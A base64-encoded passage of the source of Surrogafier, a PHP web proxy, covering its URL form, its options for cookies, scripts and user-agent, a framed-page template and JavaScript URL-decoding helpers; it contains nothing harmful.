KCTxub3NjcmlwdD48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9Im5vc2NyaXB0dXJsIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPjwvbm9zY3JpcHQ+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InNpbXBsZV9zdHVmZiIgaWQ9InNpbXBsZV9zdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjRjBGMEYwIiAvPg0KPC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIjw/cGhwIGlmKEZPUkNFX0RFRkFVTFRfVFVOTkVMKXsgPz4gc3R5bGU9ImRpc3BsYXk6IG5vbmUiPjw/cGhwIH0gPz4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VHVubmVsIFByb3h5OjwvdGQ+DQo8dGQ+PHRhYmxlIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+DQo8dHI+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGlwIiBvbmtleXVwPSJpZih0aGlzLnZhbHVlLm1hdGNoKDw/cGhwIGVjaG8oSVBSRUdFWFApOyA/PikpeyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMicpOyB0aGlzLnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMScpOyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LmZvY3VzKCk7IH07IiBzdHlsZT0id2lkdGg6IDEwMCU7IHRleHQtYWxpZ246IGxlZnQiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3BpcCddKT9ERUZBVUxUX1RVTk5FTF9QSVA6JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ10pOyA/PiIgLz48L3RkPg0KCTx0ZCBzdHlsZT0id2lkdGg6IDVweCI+Jm5ic3A7Jm5ic3A7PC90ZD4NCgk8dGQgc3R5bGU9IndpZHRoOiA1MHB4Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wcG9ydCIgbWF4bGVuZ3RoPSI1IiBzaXplPSI1IiBzdHlsZT0id2lkdGg6IDUwcHgiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pP0RFRkFVTFRfVFVOTkVMX1BQT1JUOiRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pOyA/PiIgLz48L3RkPg0KPC90cj4NCjwvdGFibGU+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VXNlci1BZ2VudDo8L3RkPg0KPHRkPjxzZWxlY3QgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQiIHN0eWxlPSJ3aWR0aDogMTAwJSIgb25jaGFuZ2U9InVzZXJhZ2VudF9jaGVjayh0cnVlKTsiPg0KPD9waHAgZm9yZWFjaCgkdXNlcmFnZW50X2FycmF5IGFzICR1c2VyYWdlbnQpeyA/Pg0KCTxvcHRpb24gdmFsdWU9Ijw/cGhwIGVjaG8oJHVzZXJhZ2VudFswXSk7ID8+Ijw/cGhwIGlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddPT0kdXNlcmFnZW50WzBdKSBlY2hvICcgc2VsZWN0ZWQ9InNlbGVjdGVkIic7ID8+Pjw/cGhwIGVjaG8oJHVzZXJhZ2VudFsxXSk7ID8+PC9vcHRpb24+DQo8P3BocCB9ID8+DQo8L3NlbGVjdD48L3RkPg0KPC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiIGlkPSJ1c2VyYWdlbnRfdGV4dHRyIjw/cGhwIGVjaG8oJF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50J109PScxJz9udWxsOicgc3R5bGU9ImRpc3BsYXk6IG5vbmUiJyk7ID8+Pg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgaWQ9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnR0ZXh0IiB2YWx1ZT0iPD9waHAgZWNobygkX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOyA/PiIgc3R5bGU9IndpZHRoOiA5OSUiIC8+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91cmxfZm9ybSIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfdXJsX2Zvcm0nXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtQZXJzaXN0ZW50IFVSTCBGb3JtPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX2Nvb2tpZXMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9jb29raWVzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIENvb2tpZXM8L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9yZW1vdmVfcmVmZXJlciIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtSZW1vdmUgUmVmZXJlciBGaWVsZDwvdGQ+PC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiPjx0ZD4mbmJzcDs8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3JlbW92ZV9zY3JpcHRzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgZWNobyAnY2hlY2tlZD0iY2hlY2tlZCIgJzsgPz4vPiZuYnNwO1JlbW92ZSBTY3JpcHRzIChKUywgVkJTLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX29iamVjdHMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIE9iamVjdHMgKEZsYXNoLCBKYXZhLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fZW5jcnlwdF91cmxzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X3VybHMnXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtFbmNyeXB0IFVSTHM8bm9zY3JpcHQ+PGI+Kio8L2I+PC9ub3NjcmlwdD48L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9lbmNyeXB0X2Nvb2tzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7RW5jcnlwdCBDb29raWVzPG5vc2NyaXB0PjxiPioqPC9iPjwvbm9zY3JpcHQ+PC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJ3aWR0aDogMTAwJTsgYmFja2dyb3VuZC1jb2xvcjogI0YwRjBGMCIgLz48L3RkPjwvdHI+DQo8dHI+PHRkIHN0eWxlPSJmb250LXNpemU6IDhwdCIgY29sc3Bhbj0iMiI+DQo8ZGl2IGNsYXNzPSJzaWduYXR1cmUiPlN1cnJvZ2FmaWVyIHY8P3BocCBlY2hvKFZFUlNJT04pOyA/PiA8Yj4mbWlkZG90OzwvYj4gQnJhZCBDYWJsZTwvZGl2Pg0KPGRpdiBjbGFzcz0ibm9zY3JpcHRfc3R1ZmYiIHN0eWxlPSJmbG9hdDogcmlnaHQiPjxhIGhyZWY9IiMiIG9uY2xpY2s9InRvZ2dsZV9tb2RlKCk7IiBpZD0ibW9kZV90b2dnbGVyIj48P3BocCBlY2hvKFNJTVBMRV9NT0RFPydBZHZhbmNlZCc6J1NpbXBsZScpOyA/PiBNb2RlPC9hPjwvZGl2Pg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjxub3NjcmlwdD4NCjxiciAvPg0KPGI+Kio8L2I+IFN1cnJvZ2FmaWVyIGhhcyBkZXRlY3RlZCB0aGF0IHlvdXIgYnJvd3NlciBkb2VzIG5vdCBoYXZlIEphdmFzY3JpcHQgZW5hYmxlZC4gPGI+Kio8L2I+DQo8YnIgLz4NCjxiPioqPC9iPiBTdXJyb2dhZmllciByZXF1aXJlcyBKYXZhc2NyaXB0IGluIG9yZGVyIHRvIGZ1bmN0aW9uIHRvIGl0cyBmdWxsIHBvdGVudGlhbC4gPGI+Kio8L2I+DQo8L25vc2NyaXB0Pg0KPC9mb3JtPg0KPC9jZW50ZXI+DQo8L2JvZHk+DQo8L2h0bWw+DQoNCjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIEZSQU1FRCBQQUdFIFdJVEggVVJMIEZPUk0ge3t7DQppZihQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FX1RPUCAmJiBPUklHX1VSTCE9bnVsbCl7ID8+DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPjw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PjwvdGl0bGU+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zOyBtYXJnaW46IDBweDsgcGFkZGluZzogMHB4OyBmb250LXNpemU6IDEycHg7IG92ZXJmbG93OiBoaWRkZW59DQoJaW5wdXR7Ym9yZGVyOiAxcHggc29saWQgIzAwMDAwMH0NCgl0ZHtmb250LXNpemU6IDEycHh9DQoJYXt0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjMDAwMDAwfQ0KCWE6aG92ZXJ7dGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmV9DQo8L3N0eWxlPg0KPHNjcmlwdD4NCjwhLS0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj10cnVlOw0KDQo8P3BocCBpZihFTkNSWVBUX1VSTFMpIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gc3VibWl0X2NvZGUoKXsNCjw/cGhwIGlmKEVOQ1JZUFRfVVJMUyl7ID8+DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlLnByb3hlbmMoZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZSk7DQo8P3BocCB9ID8+DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5Pg0KPGZvcm0gbWV0aG9kPSJnZXQiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iIiB2YWx1ZT0iIiAvPg0KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9IndpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IHBhZGRpbmc6IDBweDsgbWFyZ2luOiAwcHgiPg0KPHRyPjx0ZD48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0id2lkdGg6IDEwMCU7IHBhZGRpbmc6IDNweCI+DQo8dHI+DQoJPHRkPiZuYnNwOzxiPjxhIGlkPSJwcm94eV9saW5rIiBocmVmPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PS0mPScuT0VOQ19VUkwpOyA/PiI+U3Vycm9nYWZpZXI8L2E+PC9iPiZuYnNwOyZuYnNwOzwvdGQ+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJ1cmwiIG5hbWU9IiIgc3R5bGU9IndpZHRoOiAxMDAlOyBwYWRkaW5nLWxlZnQ6IDRweCIgaWQ9InVybCIgdmFsdWU9Ijw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PiIgLz48L3RkPg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic2ltcGxlX3N0dWZmIiBpZD0ic2ltcGxlX3N1Ym1pdCIgdmFsdWU9IlN1cnJvZ2FmeSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNGMEYwRjAiIC8+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPjwvdGQ+PC90cj4NCjx0cj48dGQgc3R5bGU9ImhlaWdodDogMTAwJTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkICMwMDAwMDAiPg0KPGlmcmFtZSBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3RvcCIgc3JjPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PV8mPScuT0VOQ19VUkwpOyA/PiIgZnJhbWVib3JkZXI9IjAiIHN0eWxlPSJib3JkZXI6IDBweDsgd2lkdGg6IDEwMCU7IGhlaWdodDogMTAwJSI+PC9pZnJhbWU+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPC9ib2R5Pg0KPC9odG1sPg0KPD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUFJFLUpBVkFTQ1JJUFQgQ09OU1RBTlRTICYgRlVOQ1RJT05TIHt7ew0KIyB0aGVzZSBjb25zdGFudHMgYW5kIGZ1bmN0aW9ucyBtdXN0IGJlIGRlZmluZWQgYmVmb3JlIEpTIGlzIG91dHB1dCwgYnV0IHdvdWxkIGJlIG1vcmUgcmVhZGFibHkgbG9jYXRlZCBsYXRlcg0KDQojZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnKD86KD86amF2YXNjcmlwdHxtYWlsdG98YWJvdXQpOnx+fCU3ZSknKTsNCmRlZmluZSgnRlJBTUVfTE9DS19SRUdFWFAnLCcvXig/Oig/OmphdmFzY3JpcHR8bWFpbHRvfGFib3V0KTp8IykvaScpOw0KZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnL14oPzooPzpqYXZhc2NyaXB0fG1haWx0b3xhYm91dCk6fCN8Jy5zdHJfcmVwbGFjZShhcnJheSgnLycsJy4nKSxhcnJheSgnXC8nLCdcLicpLGFkZHNsYXNoZXMoVEhJU19TQ1JJUFQpKS4nKS9pJyk7DQpkZWZpbmUoJ1VSTFJFRycsJy9eJy4NCgknKD86KFthLXpdKik/KD86XDo/XC9cLykpJy4JCSMgcHJvdG8NCgknKD86KFteXEBcL10qKVxAKT8nLgkJCSMgdXNlcnBhc3MNCgknKFteXC86XD9cI1wmXSopJy4JCQkjIHNlcnZlcm5hbWUNCgknKD86XDooWzAtOV0rKSk/Jy4JCQkjIHBvcnR2YWwNCgknKFwvW15cJlw/XCNdKj8pPycuCQkJIyBwYXRoDQoJJyhbXlwvXD9cI1wmXSooPzpcJlteXD9cI10qKT8pJy4JIyBmaWxlDQoJJyg/Olw/KFtcc1xTXSo/KSk/Jy4JCQkjIHF1ZXJ5DQoJJyg/OlwjKFtcc1xTXSopKT8nLgkJCSMgbGFiZWwNCickL2l4Jyk7DQoNCmZ1bmN0aW9uIGVzY2FwZV9yZWdleHAoJHJlZ2V4cCwkZG9sbGFyPWZhbHNlKXsNCgkkcmVnZXhwPXN0cl9yZXBsYWNlKCdcXCcsJ1xcXFwnLHN0cl9yZXBsYWNlKCdcJycsJ1xcXCcnLHN0cl9yZXBsYWNlKCciJywnXFwiJyxzdHJfcmVwbGFjZShjaHIoMTApLCdcbicsc3RyX3JlcGxhY2UoY2hyKDEzKSwnXHInLHN0cl9yZXBsYWNlKGNocig5KSwnXHQnLCRyZWdleHApKSkpKSk7DQoJcmV0dXJuICgkZG9sbGFyP3ByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXCQnLCRyZWdleHApOnByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXFxcXFwnLCRyZWdleHApKTsgIyoNCn0NCg0KIyB9fX0NCg0KIyBKQVZBU0NSSVBUIEZVTkNTIHt7ew0KDQppZihRVUVSWV9TVFJJTkc9PSdqc19mdW5jcycgfHwgUVVFUllfU1RSSU5HPT0nanNfZnVuY3NfZnJhbWVkJyl7ID8+Ly88c2NyaXB0Pg0KDQovLyBKQVZBU0NSSVBUIEZVTkNTOiBERUNPRElORyB7e3sNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5iNjRkPWZ1bmN0aW9uKHN0cmluZyl7DQoJdmFyIGJpbnJlcD0iIixkZWNzdHI9IiI7DQoJdmFyIGNoYXJudW0sY2hhcmJpbjsNCglzdHJpbmc9c3RyaW5nLnJlcGxhY2UoL1s9XSokLywiIik7DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWlmKGNoYXJudW0+PTk3KSBjaGFybnVtLT03MTsNCgkJZWxzZSBpZihjaGFybnVtPj02NSkgY2hhcm51bS09NjU7DQoJCWVsc2UgaWYoY2hhcm51bT49NDgpIGNoYXJudW0rPTQ7DQoJCWVsc2UgaWYoY2hhcm51bT09NDMpIGNoYXJudW09NjI7DQoJCWVsc2UgaWYoY2hhcm51bT09NDcpIGNoYXJudW09NjM7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtLDYpOw0KCX0NCglmb3IodmFyIGk9MDtpKzg8YmlucmVwLmxlbmd0aDtpKz04KXsNCgkJY2hhcmJpbj1iaW5yZXAuc3Vic3RyKGksOCk7DQoJCWRlY3N0cis9U3RyaW5nLmZyb21DaGFyQ29kZSh0aGlzLmJpbnRvZGVjKGNoYXJiaW4pKTsNCgl9DQoJcmV0dXJuIGRlY3N0cjsNCn0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5wcm94ZGVjPWZ1bmN0aW9uKHVybCl7DQoJdmFyIG5ld191cmwsY2hhcm51bTsNCglpZih1cmwuc3Vic3RyKDAsMSkhPSd+JyAmJiB1cmwuc3Vic3RyKDAsMykudG9Mb3dlckNhc2UoKSE9JyU3ZScpIHJldHVybiB1cmw7DQoJd2hpbGUodXJsLnN1YnN0cigwLDEpPT0nficgfHwgdXJsLnN1YnN0cigwLDMpLnRvTG93ZXJDYXNlKCk9PSclN2UnKXsNCgkJdXJsPXVybC5zdWJzdHIoMSx1cmwubGVuZ3RoLTEpOw0KCQl1cmw9dGhpcy5iNjRkKHVybCk7DQoJCW5ld191cmw9IiI7DQoJCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCQljaGFybnVtPXVybC5jaGFyQ29kZUF0KGkpOw0KCQkJY2hhcm51bS09Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iLmNoYXJDb2RlQXQoaSUiPD9waHAgZWNobyhTRVNTX1BSRUYpOyA/PiIubGVuZ3RoKTsNCgkJCXdoaWxlKGNoYXJudW08MzIpIGNoYXJudW0rPTk0Ow0KCQkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgkJfQ0KCQl1cmw9bmV3X3VybDsNCgl9DQoJcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudCh1cmwpOyAvLyB1cmxkZWNvZGUoKQ0KfQ0KDQovLyB9fX0NCg0KLy8gSkFWQVNDUklQVCBGVU5DUzogQ09PS19QUkVGIE9CSkVDVCB7e3sNCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj17DQoNClVSTFJFRzo8P3BocCBlY2hvKHN1YnN0cihVUkxSRUcsMCxzdHJsZW4oVVJMUkVHKS0xKSk7ID8+LA0KVEhJU19TQ1JJUFQ6Ijw/cGhwIGVjaG8oVEhJU19TQ1JJUFQpOyA/PiIsDQpDT09LX1BSRUY6Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4iLA0KcGU6PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZSwNCmdlbl9jdXJyX3VybG9iajpmdW5jdGlvbigpeyB0aGlzLmN1cnJfdXJsb2JqPW5ldyB0aGlzLmF1cmwodGhpcy5DVVJSX1VSTCk7IH0sDQoNCmdldENvb2tpZUFycjpmdW5jdGlvbigpeyByZXR1cm4gZG9jdW1lbnQuY29va2llLnNwbGl0KCI7ICIpOyB9LA0KDQphdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwpew0KCXRoaXMuVVJMUkVHPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uVVJMUkVHOw0KCXRoaXMuVEhJU19TQ1JJUFQ9PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5USElTX1NDUklQVDsNCgl0aGlzLkVOQ1JZUFRfVVJMUz08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LkVOQ1JZUFRfVVJMUzsNCg0KCXRoaXMudHJpbT1mdW5jdGlvbihzdHIpeyByZXR1cm4gc3RyLnJlcGxhY2UoL15ccyooW1xzXFNdKj8pXHMqJC8sIiQxIik7IH0NCg0KCXRoaXMuZ2V0X2ZpZWxkcmVxPWZ1bmN0aW9uKGZpZWxkbm8sdmFsdWUpew0KCQl2YXIgZmllbGRyZXFzPW5ldyBBcnJheSgpOw0KCQlmaWVsZHJlcXNbMl09IjovLyIrKHZhbHVlIT0iIj92YWx1ZSsiQCI6IiIpOw0KCQlmaWVsZHJlcXNbNF09KHZhbHVlIT0iIiAmJiBwYXJzZUludCh2YWx1ZSkhPTgwPyI6IitwYXJzZUludCh2YWx1ZSk6IiIpOw0KCQlmaWVsZHJlcXNbN109KHZhbHVlIT0iIj8iPyIrdmFsdWU6IiIpOw0KCQlmaWVsZHJlcXNbOF09KHZhbHVlIT0iIj8iIyIrdmFsdWU6IiIpOw0KCQlpZihmaWVsZHJlcXNbZmllbGRub10hPXVuZGVmaW5lZCkgcmV0dXJuIHZhbHVlOw0KCQkvLyByZXR1cm4gKHZhbHVlIT0iIj9udWxsOnZhbHVlKTsNCgkJZWxzZSByZXR1cm4gZmllbGRyZXFzW2ZpZWxkbm9dOw0KCX0NCg0KCXRoaXMuc2V0X3Byb3RvPWZ1bmN0aW9uKHByb3RvKXsNCgkJaWYocHJvdG89PXVuZGVmaW5lZCkgcHJvdG89Imh0dHAiOw0KCQlpZih0aGlzLmxvY2tlZCkgcmV0dXJuOw0KCQl0aGlzLnByb3RvPXByb3RvOw0KCX0NCgl0aGlzLmdldF9wcm90bz1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5wcm90bzsgfQ0KDQoJdGhpcy5nZXRfdXNlcnBhc3M9ZnVuY3Rpb24oKXsgcmV0dXJuIHRoaXMudXNlcnBhc3M7IH0NCgl0aGlzLnNldF91c2VycGFzcz1mdW5jdGlvbih1c2VycGFzcyl7IGlmKHVzZXJwYXNzPT11bmRlZmluZWQpIHVzZXJwYXNzPSIiOyB0aGlzLnVzZXJwYXNzPXVzZXJwYXNzOyB9DQoJdGhpcy5nZXRfc2VydmVybmFtZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5zZXJ2ZXJuYW1lOyB9DQoJdGhpcy5zZXRfc2VydmVybmFtZT1mdW5jdGlvbihzZXJ2ZXJuYW1lKXsgaWYoc2VydmVybmFtZT09dW5kZWZpbmVkKSBzZXJ2ZXJuYW1lPSIiOyB0aGlzLnNlcnZlcm5hbWU9c2VydmVybmFtZTsgfQ0KCXRoaXMuZ2V0X3BvcnR2YWw9ZnVuY3Rpb24oKXsgcmV0dXJuICgodGhpcy5wb3J0dmFsPT0iIik/KHRoaXMuZ2V0X3Byb3RvKCk9PSJodHRwcyI/IjQ0MyI6IjgwIik6dGhpcy5wb3J0dmFsKTsgfQ0KCXRoaXMuc2V0X3BvcnR2YWw9ZnVuY3Rpb24ocG9ydCl7IGlmKHBvcnQ9PXVuZGVmaW5lZCkgcG9ydD0iIjsgdGhpcy5wb3J0dmFsPSgocGFyc2VJbnQocG9ydCkhPTgwKT9wb3J0OiIiKS50b1N0cmluZygpOyB9DQoJdGhpcy5nZXRfcGF0aD1mdW5jdGlvbigpeyAvLyAqKioNCgkJaWYodGhpcy5wYXRoLmluZGV4T2YoIi8uLi8iKSE9LTEpIHRoaXMucGF0aD10aGlzLnBhdGgucmVwbGFjZSgvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy9nLCIvIik7DQoJCWlmKHRoaXMucGF0aC5pbmRleE9mKCIvLi8iKSE9LTEpIHdoaWxlKChwYXRoPXRoaXMucGF0aC5yZXBsYWNlKCIvLi8iLCIvIikpICYmIHBhdGghPXRoaXMucGF0aCkgdGhpcy5wYXRoPXBhdGg7DQoJCXJldHVybiB0aGlzLnBhdGg7DQoJfQ0KCXRoaXMuc2V0X3BhdGg9ZnVuY3Rpb24ocGF0aCl7IGlmKHBhdGg9PXVuZGVmaW5lZCkgcGF0aD0iLyI7IHRoaXMucGF0aD1wYXRoOyB9DQoJdGhpcy5nZXRfZmlsZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5maWxlOyB9DQoJdGhpcy5zZXRfZmlsZT1mdW5jdGlvbihmaWxlKXsgaWYoZmlsZT09dW5kZWZpbmVkKSBmaWxlPSIiOyB0aGlzLmZpbGU9ZmlsZTsgfQ0KCXRoaXMuZ2V0X3F1ZXJ5PWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLnF1ZXJ5O